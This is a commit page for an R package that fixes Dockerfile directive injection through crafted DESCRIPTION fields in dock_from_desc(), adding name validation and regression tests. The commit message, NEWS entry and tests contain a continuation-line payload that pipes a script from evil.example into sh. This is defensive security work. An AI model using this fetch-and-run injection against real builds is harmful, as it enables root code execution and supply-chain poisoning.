Skip to content

Commit 03d15db

Browse files
fix(security): validate package names read from the DESCRIPTION (#113)
`dock_from_desc()` interpolates package names from the (possibly untrusted) `DESCRIPTION` into generated Dockerfile directives with no validation, on two paths: 1. `build_from_source = FALSE`: the `Package:` field goes into the `COPY <pkg>_*.tar.gz /app.tar.gz` directive and the `list.files()` tar.gz-cleanup glob. 2. `build_from_source = TRUE` (the default): every `Imports:` / `Depends:` / `Suggests:` / `LinkingTo:` / `Enhances:` name (`desc::desc_get_deps(path)$package`) goes into a generated `remotes::install_version("<name>", ...)` install RUN. `read.dcf()` and `desc::desc_get_deps()` both join DCF continuation lines with `\n`, so a crafted field such as Package: app RUN curl -s https://evil.example/x.sh | sh # or Imports: evilpkg RUN curl -s https://evil.example/x.sh | sh # yields a value containing an embedded newline, and the generated Dockerfile then carries an extra standalone `RUN` directive on the next physical line -- attacker-controlled commands executing as root at `docker build` time (build secrets, mounted SSH keys, supply-chain poisoning of the produced image). The `DESCRIPTION` is a plausible attacker artifact: received from a colleague, vendored, a CI cache, a cloned tarball. Add `.validate_pkg_name()` / `.validate_pkg_names()` (CRAN package-name grammar `^[a-zA-Z][a-zA-Z0-9.]*$` -- letters, digits and dots only, starting with a letter; no whitespace, newlines or shell/Dockerfile metacharacters) and call them at `dock_from_desc()` entry: the `Package:` field once (reused for the `COPY` directive, the cleanup glob and the "tar.gz created" message), and every dependency-field name after the R/base-package filter. Two related hardening tweaks on the same code path: - Read the `Package:` field by name (`read.dcf(path)[1L, "Package"]`) instead of positionally (`read.dcf(path)[1]`): DCF field order is not guaranteed, so a `DESCRIPTION` with `Type:` / `Encoding:` ahead of `Package:` would otherwise validate and reuse the wrong value. - Build the tar.gz-cleanup `list.files()` pattern from a glob (`glob2rx(sprintf("%s_*.tar.gz", pkg_name))`) instead of a raw `sprintf("%s_.+.tar.gz", pkg_name)`: a dot in `pkg_name` (allowed by the CRAN grammar, e.g. `R.utils`) was being treated as a regex wildcard and could `file.remove()` a sibling package's tarball (`RZutils_*.tar.gz`). Tests added (red-first): a `DESCRIPTION` whose `Package:` field, resp. whose `Imports:` field, carries a continuation-line `RUN` payload must raise the package-name validation error rather than reaching the Dockerfile (verified red against the unpatched function -- the payload landed in the generated Dockerfile as a standalone `RUN` line -- and green after the fix); and `dock_from_desc(..., update_tar_gz = TRUE)` for `Package: R.utils` must not delete a sibling `RZutils_*.tar.gz` (verified red against the `sprintf` pattern, green after `glob2rx`). Benign `DESCRIPTION` still produces the expected `COPY` and `install_version` lines. Full test suite: 0 failures. R CMD check: 0/0/0 (one transient "unable to verify current time" host NOTE, unrelated). Same fix shape as the `dock_from_renv()` lockfile-injection fix in #112.
1 parent de9ec1f commit 03d15db

5 files changed

Lines changed: 219 additions & 4 deletions

File tree

NAMESPACE

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -29,5 +29,6 @@ importFrom(remotes,package_deps)
2929
importFrom(usethis,use_build_ignore)
3030
importFrom(utils,download.file)
3131
importFrom(utils,getFromNamespace)
32+
importFrom(utils,glob2rx)
3233
importFrom(utils,installed.packages)
3334
importFrom(utils,packageVersion)

NEWS.md

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -75,6 +75,22 @@
7575
an embedded newline would pass validation and then emit a two-line
7676
`FROM` directive. Not exploitable for command injection, but it
7777
could silently break `docker build`.
78+
- Fixed a long-standing code-injection path in `dock_from_desc()`:
79+
package names read from the `DESCRIPTION` were interpolated into
80+
generated Dockerfile directives without validation. `read.dcf()` and
81+
`desc::desc_get_deps()` both join DCF continuation lines with `\n`,
82+
so a crafted `Package:` field, or a crafted `Imports:` / `Depends:`
83+
/ `Suggests:` / `LinkingTo:` entry, could carry a continuation line
84+
that injects an extra Dockerfile directive (e.g. a `RUN`) executing
85+
as root at `docker build` time -- the `Package:` field via the
86+
`COPY <pkg>_*.tar.gz /app.tar.gz` line and the tar.gz-cleanup glob
87+
on the `build_from_source = FALSE` path, and the dependency names
88+
via the `remotes::install_version("<name>", ...)` install RUNs on
89+
the default `build_from_source = TRUE` path. Both the package name
90+
and every dependency-field name are now validated against the CRAN
91+
package-name grammar at function entry. The bug predates 0.3.0.
92+
Found by the same internal security audit as the `dock_from_renv()`
93+
fix above.
7894

7995
## New features
8096

R/dock_from_desc.R

Lines changed: 21 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -89,7 +89,7 @@ quote_not_na <- function(x){
8989
#' @export
9090
#' @rdname dockerfiles
9191
#'
92-
#' @importFrom utils installed.packages packageVersion
92+
#' @importFrom utils installed.packages packageVersion glob2rx
9393
#' @importFrom remotes dev_package_deps
9494
#' @importFrom desc desc_get_deps desc_get
9595
#' @importFrom usethis use_build_ignore
@@ -121,10 +121,23 @@ dock_from_desc <- function(
121121
.validate_repos(repos)
122122
.validate_extra_sysreqs(extra_sysreqs)
123123
path <- fs::path_abs(path)
124+
# Package name read from the (possibly untrusted) DESCRIPTION. It is
125+
# interpolated into the `COPY <pkg>_*.tar.gz /app.tar.gz` line and the
126+
# tar.gz-cleanup glob below for `build_from_source = FALSE`; validate
127+
# it up front so a crafted `Package:` field cannot inject an extra
128+
# Dockerfile directive.
129+
pkg_name <- read.dcf(path)[1L, "Package"]
130+
.validate_pkg_name(pkg_name)
124131

125132
packages <- desc_get_deps(path)$package
126133
packages <- packages[packages != "R"] # remove R
127134
packages <- packages[!packages %in% base_pkg_] # remove base and recommended
135+
# The dependency-field names are interpolated into the generated
136+
# `remotes::install_version("<name>", ...)` install RUNs (and queried
137+
# for system requirements); validate them like the `Package:` field
138+
# so a crafted Imports / Depends / Suggests / LinkingTo entry cannot
139+
# inject an extra Dockerfile directive at `docker build` time.
140+
.validate_pkg_names(packages)
128141

129142
if (sysreqs) {
130143

@@ -300,7 +313,11 @@ dock_from_desc <- function(
300313
if (!build_from_source) {
301314
if (update_tar_gz) {
302315
old_version <- list.files(
303-
pattern = sprintf("%s_.+.tar.gz", read.dcf(path)[1]),
316+
# `list.files(pattern =)` is a regex; build it from a glob so a
317+
# dot in `pkg_name` (allowed by the CRAN package-name grammar,
318+
# e.g. `R.utils`) is matched literally and a sibling tarball
319+
# such as `RZutils_*.tar.gz` is not swept up.
320+
pattern = glob2rx(sprintf("%s_*.tar.gz", pkg_name)),
304321
full.names = TRUE
305322
)
306323

@@ -336,7 +353,7 @@ dock_from_desc <- function(
336353
cat_green_tick(
337354
sprintf(
338355
" %s_%s.tar.gz created.",
339-
read.dcf(path)[1],
356+
pkg_name,
340357
read.dcf(path)[1, ][["Version"]]
341358
)
342359
)
@@ -347,7 +364,7 @@ dock_from_desc <- function(
347364
# we use an already built tar.gz file
348365

349366
dock$COPY(
350-
from = paste0(read.dcf(path)[1], "_*.tar.gz"),
367+
from = paste0(pkg_name, "_*.tar.gz"),
351368
to = "/app.tar.gz"
352369
)
353370
dock$RUN(

R/utils.R

Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -312,6 +312,63 @@ cat_info <- function(...) {
312312
invisible()
313313
}
314314

315+
#' @noRd
316+
.validate_pkg_name <- function(x) {
317+
if (!is.character(x) || length(x) != 1L || is.na(x)) {
318+
stop(
319+
"the package name read from the DESCRIPTION must be a single ",
320+
"string, got: ",
321+
deparse(x)
322+
)
323+
}
324+
# CRAN package-name grammar: a letter, then letters / digits / dots.
325+
# `read.dcf()` joins DCF continuation lines with `\n`, so a crafted
326+
# `Package:` field could otherwise smuggle a newline (and an extra
327+
# Dockerfile directive) into the `COPY <pkg>_*.tar.gz` line generated
328+
# for `build_from_source = FALSE`. This grammar excludes whitespace,
329+
# newlines and every shell / Dockerfile metacharacter.
330+
if (!grepl("^[a-zA-Z][a-zA-Z0-9.]*$", x)) {
331+
stop(
332+
"the package name read from the DESCRIPTION must match the CRAN ",
333+
"package-name grammar /^[a-zA-Z][a-zA-Z0-9.]*$/ ",
334+
"(letters, digits and dots only, starting with a letter), got: ",
335+
deparse(x)
336+
)
337+
}
338+
invisible()
339+
}
340+
341+
#' @noRd
342+
.validate_pkg_names <- function(x) {
343+
if (length(x) == 0L) {
344+
return(invisible())
345+
}
346+
if (!is.character(x)) {
347+
stop(
348+
"the package names read from the DESCRIPTION dependency fields ",
349+
"must be a character vector, got: ",
350+
deparse(x)
351+
)
352+
}
353+
# Same CRAN package-name grammar as `.validate_pkg_name()`, applied to
354+
# every Imports / Depends / Suggests / LinkingTo / Enhances entry.
355+
# `desc::desc_get_deps()` joins DCF continuation lines with `\n`, so a
356+
# crafted dependency field could otherwise smuggle a newline (and an
357+
# extra Dockerfile directive) into the generated
358+
# `remotes::install_version("<name>", ...)` install RUN.
359+
bad <- is.na(x) | !grepl("^[a-zA-Z][a-zA-Z0-9.]*$", x)
360+
if (any(bad)) {
361+
stop(
362+
"package names read from the DESCRIPTION dependency fields must ",
363+
"match the CRAN package-name grammar /^[a-zA-Z][a-zA-Z0-9.]*$/ ",
364+
"(letters, digits and dots only, starting with a letter); ",
365+
"invalid: ",
366+
paste(vapply(x[bad], deparse, character(1)), collapse = ", ")
367+
)
368+
}
369+
invisible()
370+
}
371+
315372
#' @noRd
316373
.validate_renv_paths_cache <- function(x) {
317374
if (is.null(x)) {

tests/testthat/test-dock_from_desc.R

Lines changed: 124 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -356,6 +356,130 @@ withr::with_dir(
356356
expect_match(df, "remotes::install_local", fixed = TRUE)
357357
})
358358

359+
test_that("dock_from_desc(update_tar_gz = TRUE) does not sweep a sibling package's tarball when the package name contains a dot", {
360+
skip_if(is_rdevel, "skip on R-devel")
361+
# `list.files(pattern =)` is a regex. With `Package: R.utils`,
362+
# `sprintf("%s_.+.tar.gz", "R.utils")` also matches
363+
# `RZutils_*.tar.gz` and would `file.remove()` it. Building the
364+
# pattern from a glob keeps the dot literal.
365+
dot_dir <- tempfile(pattern = "dot-pkg")
366+
dir.create(dot_dir)
367+
on.exit(unlink(dot_dir, recursive = TRUE), add = TRUE)
368+
writeLines(
369+
c(
370+
"Package: R.utils",
371+
"Version: 1.0.0",
372+
"Title: Demo",
373+
"Description: Demo.",
374+
"License: MIT",
375+
"Authors@R: person('A', 'B', email = 'a@b.c', role = c('aut', 'cre'))"
376+
),
377+
file.path(dot_dir, "DESCRIPTION")
378+
)
379+
file.create(file.path(dot_dir, "R.utils_0.9.0.tar.gz"))
380+
file.create(file.path(dot_dir, "RZutils_0.9.0.tar.gz"))
381+
withr::with_dir(dot_dir, {
382+
testthat::with_mocked_bindings(
383+
code = testthat::with_mocked_bindings(
384+
code = dock_from_desc(
385+
"DESCRIPTION",
386+
build_from_source = FALSE,
387+
update_tar_gz = TRUE
388+
),
389+
package_deps = function(packages) {
390+
data.frame(
391+
package = character(0),
392+
is_cran = logical(0),
393+
installed = character(0),
394+
stringsAsFactors = FALSE
395+
)
396+
},
397+
.package = "remotes"
398+
),
399+
get_sysreqs = function(...) character(0),
400+
build = function(path, dest_path, vignettes) {
401+
fake <- file.path(dest_path, "R.utils_1.0.0.tar.gz")
402+
file.create(fake)
403+
fake
404+
},
405+
use_build_ignore = function(files) invisible(TRUE)
406+
)
407+
})
408+
# The unrelated sibling tarball must survive.
409+
expect_true(file.exists(file.path(dot_dir, "RZutils_0.9.0.tar.gz")))
410+
# The package's own old tarball is the one that gets cleaned.
411+
expect_false(file.exists(file.path(dot_dir, "R.utils_0.9.0.tar.gz")))
412+
})
413+
414+
test_that("dock_from_desc rejects a DESCRIPTION whose Package field carries a continuation-line injection", {
415+
skip_if(is_rdevel, "skip on R-devel")
416+
# `read.dcf()` joins DCF continuation lines with `\n`. Without
417+
# validation, a `Package:` field with a continuation line is
418+
# interpolated into the `COPY <pkg>_*.tar.gz /app.tar.gz` line
419+
# generated for `build_from_source = FALSE`, injecting an extra
420+
# Dockerfile directive that runs as root at `docker build` time.
421+
evil_dir <- tempfile(pattern = "evil-desc")
422+
dir.create(evil_dir)
423+
on.exit(unlink(evil_dir, recursive = TRUE), add = TRUE)
424+
writeLines(
425+
c(
426+
"Package: app",
427+
" RUN curl -s https://evil.example/x.sh | sh #",
428+
"Version: 1.0.0",
429+
"Title: Demo",
430+
"Description: Demo.",
431+
"License: MIT",
432+
"Authors@R: person('A', 'B', email = 'a@b.c', role = c('aut', 'cre'))"
433+
),
434+
file.path(evil_dir, "DESCRIPTION")
435+
)
436+
expect_error(
437+
testthat::with_mocked_bindings(
438+
code = dock_from_desc(
439+
file.path(evil_dir, "DESCRIPTION"),
440+
build_from_source = FALSE,
441+
update_tar_gz = FALSE
442+
),
443+
get_sysreqs = function(...) character(0)
444+
),
445+
"package name"
446+
)
447+
})
448+
449+
test_that("dock_from_desc rejects a DESCRIPTION whose Imports field carries a continuation-line injection", {
450+
skip_if(is_rdevel, "skip on R-devel")
451+
# `desc::desc_get_deps()` joins DCF continuation lines with `\n`
452+
# like `read.dcf()`. Without validation, a crafted dependency
453+
# name is interpolated into the generated
454+
# `remotes::install_version("<name>", ...)` RUN, injecting an
455+
# extra Dockerfile directive that runs as root at `docker build`
456+
# time -- and this path fires on the default
457+
# `build_from_source = TRUE`, not only on the COPY path.
458+
evil_dir <- tempfile(pattern = "evil-desc-imports")
459+
dir.create(evil_dir)
460+
on.exit(unlink(evil_dir, recursive = TRUE), add = TRUE)
461+
writeLines(
462+
c(
463+
"Package: app",
464+
"Version: 1.0.0",
465+
"Title: Demo",
466+
"Description: Demo.",
467+
"License: MIT",
468+
"Authors@R: person('A', 'B', email = 'a@b.c', role = c('aut', 'cre'))",
469+
"Imports:",
470+
" evilpkg",
471+
" RUN curl -s https://evil.example/x.sh | sh #"
472+
),
473+
file.path(evil_dir, "DESCRIPTION")
474+
)
475+
expect_error(
476+
testthat::with_mocked_bindings(
477+
code = dock_from_desc(file.path(evil_dir, "DESCRIPTION")),
478+
get_sysreqs = function(...) character(0)
479+
),
480+
"package name"
481+
)
482+
})
359483

360484
test_that("dock_from_desc messages the user when DESCRIPTION declares SystemRequirements", {
361485
skip_if(is_rdevel, "skip on R-devel")

0 commit comments

Comments
 (0)